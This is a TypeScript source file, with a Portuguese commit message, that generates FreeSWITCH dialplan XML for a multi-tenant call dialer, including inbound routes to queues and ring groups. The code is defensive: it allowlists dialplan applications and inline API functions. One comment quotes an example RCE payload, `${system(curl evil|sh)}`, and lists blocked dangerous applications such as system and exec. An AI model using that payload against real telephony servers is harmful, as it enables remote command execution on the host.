Files
B2BCall-dialer/packages/telephony/src/dialplan-xml.ts
Matheus 738bfa4f36 feat(rotas-entrada): dropdown de destino real (ramal/IVR/fila/grupo)
Pedido do usuário: "em vez de o campo de destino ser aberto tem que ter
um dropdown listando todos os ramais do tennant e tb todas ivr e filas
e grupos de ramais do tennant" — até aqui o destino era texto livre.

Construir o dropdown revelou que fila e grupo NUNCA tinham sido
implementados de verdade como destino possível — só ramal/IVR
funcionavam. Oferecer as duas opções sem o mecanismo por trás seria
mostrar um dropdown mentiroso, então:

InboundRoute.destinationType (novo enum EXTENSION/IVR/QUEUE/CALL_GROUP)
decide como buildInboundRouteXml interpreta o destino:
- EXTENSION/IVR: inalterado, o mesmo transfer já testado (PHASE 56/58).
- QUEUE: destinationNumber guarda o Queue.id; a resolução de entrada
  emite `answer` + `callcenter data="<queueId>@<domain>"` direto, sem
  tocar no dialplan "default". `callcenter` entrou no allowlist de
  applications com o mesmo risco zero de `pickup`.
- CALL_GROUP: destinationNumber guarda o Extension.callGroup; a
  resolução consulta AGORA (nunca um snapshot salvo) todos os ramais
  com esse callGroup e emite um `bridge` multi-leg — toca todos ao
  mesmo tempo, quem atender primeiro cancela os outros. Trocar quem
  está no grupo depois de criar a rota já vale na próxima chamada.

Testado ponta a ponta com chamadas reais nos 2 mecanismos novos: fila —
softphone externo discou o DID, show channels confirmou a chamada
dentro da application callcenter com o nome certo da fila; grupo — 2
ramais reais no mesmo callGroup, a chamada tocou nos DOIS ao mesmo
tempo (mesmo call_uuid, ambas RINGING), atender em um cancelou o outro
automaticamente — ring group de verdade.

Tela: "Tipo de destino" + um segundo dropdown com as opções reais do
tenant pra cada tipo (ramais, menus de IVR, filas, ou os valores
distintos de callGroup já usados em algum ramal). Testado com
Playwright: os 4 tipos aparecem, e trocar o tipo atualiza as opções do
segundo dropdown corretamente.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
2026-08-30 20:13:55 -03:00

239 lines
9.6 KiB
TypeScript

function xmlEscape(value: string): string {
return value
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&apos;");
}
/**
* Applications de dialplan permitidas (agente.md secao 180: nunca deixar
* input de tenant virar comando arbitrário no FreeSWITCH — "system",
* "exec", "socket" etc. ficam de fora de propósito, mesmo que existam
* módulos capazes de rodá-las).
*/
export const ALLOWED_DIALPLAN_APPLICATIONS = [
"answer",
"pre_answer",
"bridge",
"hangup",
"park",
"playback",
"ring_ready",
"respond",
"set",
"export",
"transfer",
"sleep",
"record_session",
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
// um comando; mesmo padrão de risco zero dos outros já permitidos.
"pickup",
// IVR (PHASE 56) — coleta N dígitos numa variable (`min max tries
// timeout terminators file invalid_file var_name regexp
// digit_timeout`), nunca executa nada; mesmo padrão de risco zero.
"play_and_get_digits",
// Rota de entrada pra fila (PHASE 62) — só recebe `<queueId>@<domain>`
// como texto, nunca um comando; mesmo padrão de risco zero.
"callcenter",
] as const;
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
/**
* Achado real de segurança (secao 180): o allowlist de `application` acima
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
* application "segura" já permitida como `set`/`export`/`playback`. Com
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
* `system`/`bg_system` roda comando de shell arbitrário no host do
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
* interpolação de valor, não chamada de API.
*/
export const ALLOWED_INLINE_API_FUNCTIONS = [
"user_data", // lookup de variável do directory de outro usuário (pickup group)
"escape",
"url_encode",
"url_decode",
"regex",
"strftime",
] as const;
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
* nunca expandido pelo FreeSWITCH). */
export function findDisallowedInlineFunctionCalls(text: string): string[] {
const found = new Set<string>();
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
const name = match[1];
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
found.add(name);
}
}
return Array.from(found);
}
export const ALLOWED_CONDITION_FIELDS = [
"destination_number",
"caller_id_number",
"caller_id_name",
"context",
"network_addr",
"source",
] as const;
export type AllowedConditionField = (typeof ALLOWED_CONDITION_FIELDS)[number];
const VARIABLE_CONDITION_FIELD_PATTERN = /^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/;
/**
* PHASE 56 (IVR): além dos campos fixos acima, aceita um `${variavel}`
* simples (ex.: `${ivr_choice}`, o dígito que `play_and_get_digits`
* guardou) — é assim que o dialplan ramifica por dígito coletado. O
* regex exige identificador puro, sem parênteses — nunca bate com
* `${funcname(...)}` (chamada de API), então o mesmo risco de RCE já
* fechado pra `data` (secao 180) não se aplica aqui: não tem função pra
* chamar, só interpolação de valor, igual `${destination_number}` já é.
*/
export function isAllowedConditionField(field: string): boolean {
return (ALLOWED_CONDITION_FIELDS as readonly string[]).includes(field) || VARIABLE_CONDITION_FIELD_PATTERN.test(field);
}
export interface DialplanAction {
application: AllowedDialplanApplication;
data?: string;
}
export interface DialplanExtensionInput {
name: string;
// string, não AllowedConditionField: PHASE 56 (IVR) também aceita
// `${variavel}` — validado na entrada da API via isAllowedConditionField,
// não pelo tipo (ver comentário acima da função).
conditionField: string;
conditionExpr: string;
actions: DialplanAction[];
antiActions?: DialplanAction[];
continueOnFalse: boolean;
order: number;
}
function actionsXml(tag: "action" | "anti-action", actions: DialplanAction[] | undefined): string {
if (!actions || actions.length === 0) return "";
return actions
.map(
(a) =>
` <${tag} application="${xmlEscape(a.application)}"${
a.data !== undefined ? ` data="${xmlEscape(a.data)}"` : ""
}/>`,
)
.join("\n");
}
/**
* XML de dialplan (agente.md secao 43-44). Uma condição por extension —
* simplificação deliberada em relação ao FreeSWITCH puro (que permite
* múltiplas <condition> por extension); cobre o editor estruturado descrito
* na especificação sem a complexidade de encadeamento arbitrário.
*/
/**
* Contexto sintético "inbound" (PHASE 56, docs/INBOUND_ROUTES.md) — o
* profile "external" do FreeSWITCH aponta pra este contexto (renomeado do
* "public" vanilla no Dockerfile), que NÃO tem arquivo estático, então
* toda chamada de entrada por tronco passa por aqui via mod_xml_curl.
* Diferente do dialplan do tenant (`buildDialplanXml`, versionado,
* editável), este XML é gerado direto pela resolução de
* `InboundRoute.didNumber` — nunca guardado em `dialplan_versions`. Faz só
* duas coisas: injeta `b2bcall_tenant_id` (nenhuma chamada de entrada
* carrega isso até aqui) e transfere pro destino real do tenant — o
* `transfer` dispara uma nova resolução de dialplan (agora já com a
* variable presente), reaproveitando 100% do dialplan normal do tenant
* (ex.: a regra "Discagem interna" já testada pro pickup de grupo).
*
* `domain_name` TAMBÉM precisa ser setado explicitamente — achado real
* testando com uma chamada de verdade: sem isso, o `bridge
* data="user/${"${destination_number}"}@${"${domain_name}"}"` da
* "Discagem interna" resolve `${"${domain_name}"}` pro domínio GLOBAL
* default (`$${domain}` do vars.xml, ex.: "b2bcall.local"), nunca pro
* domínio de verdade do tenant — a leg de entrada não é um ramal
* registrado, então nada preenche essa variable sozinho.
*
* PHASE 62 (dropdown de destino real: ramal/IVR/fila/grupo) — EXTENSION
* e IVR continuam usando exatamente o `transfer` acima (reaproveitam o
* dialplan do tenant sem mudança nenhuma). QUEUE e CALL_GROUP nunca
* passam pelo "default": a própria resolução de entrada já emite a
* action final, porque nenhum dos dois é "discar um número" — fila é
* `callcenter` de verdade, grupo é `bridge` simultâneo pra vários ramais.
* `groupMembers` é resolvido pelo CHAMADOR (apps/freeswitch-config, com
* acesso ao banco) toda vez que uma chamada de entrada chega — nunca um
* snapshot salvo, então trocar quem está no grupo já vale na próxima
* chamada, sem precisar re-salvar a rota.
*/
export function buildInboundRouteXml(
params:
| { tenantId: string; domain: string; destinationType: "EXTENSION" | "IVR"; destinationNumber: string; destinationContext: string }
| { tenantId: string; domain: string; destinationType: "QUEUE"; queueId: string }
| { tenantId: string; domain: string; destinationType: "CALL_GROUP"; groupMembers: string[] },
): string {
const setup = ` <action application="set" data="b2bcall_tenant_id=${xmlEscape(params.tenantId)}"/>
<action application="set" data="domain_name=${xmlEscape(params.domain)}"/>`;
let action: string;
if (params.destinationType === "QUEUE") {
action = ` <action application="answer"/>
<action application="callcenter" data="${xmlEscape(params.queueId)}@${xmlEscape(params.domain)}"/>`;
} else if (params.destinationType === "CALL_GROUP") {
const legs = params.groupMembers.map((num) => `user/${xmlEscape(num)}@${xmlEscape(params.domain)}`).join(",");
action = ` <action application="answer"/>
<action application="bridge" data="${legs}"/>`;
} else {
action = ` <action application="transfer" data="${xmlEscape(params.destinationNumber)} XML ${xmlEscape(params.destinationContext)}"/>`;
}
return `<?xml version="1.0" encoding="UTF-8"?>
<document type="freeswitch/xml">
<section name="dialplan">
<context name="inbound">
<extension name="inbound-route">
<condition>
${setup}
${action}
</condition>
</extension>
</context>
</section>
</document>`;
}
export function buildDialplanXml(context: string, extensions: DialplanExtensionInput[]): string {
const sorted = [...extensions].sort((a, b) => a.order - b.order);
const extensionsXml = sorted
.map((ext) => {
const actionsBlock = actionsXml("action", ext.actions);
const antiActionsBlock = actionsXml("anti-action", ext.antiActions);
return ` <extension name="${xmlEscape(ext.name)}" continue="${ext.continueOnFalse ? "true" : "false"}">
<condition field="${xmlEscape(ext.conditionField)}" expression="${xmlEscape(ext.conditionExpr)}">
${actionsBlock}${antiActionsBlock ? `\n${antiActionsBlock}` : ""}
</condition>
</extension>`;
})
.join("\n");
return `<?xml version="1.0" encoding="UTF-8"?>
<document type="freeswitch/xml">
<section name="dialplan">
<context name="${xmlEscape(context)}">
${extensionsXml}
</context>
</section>
</document>`;
}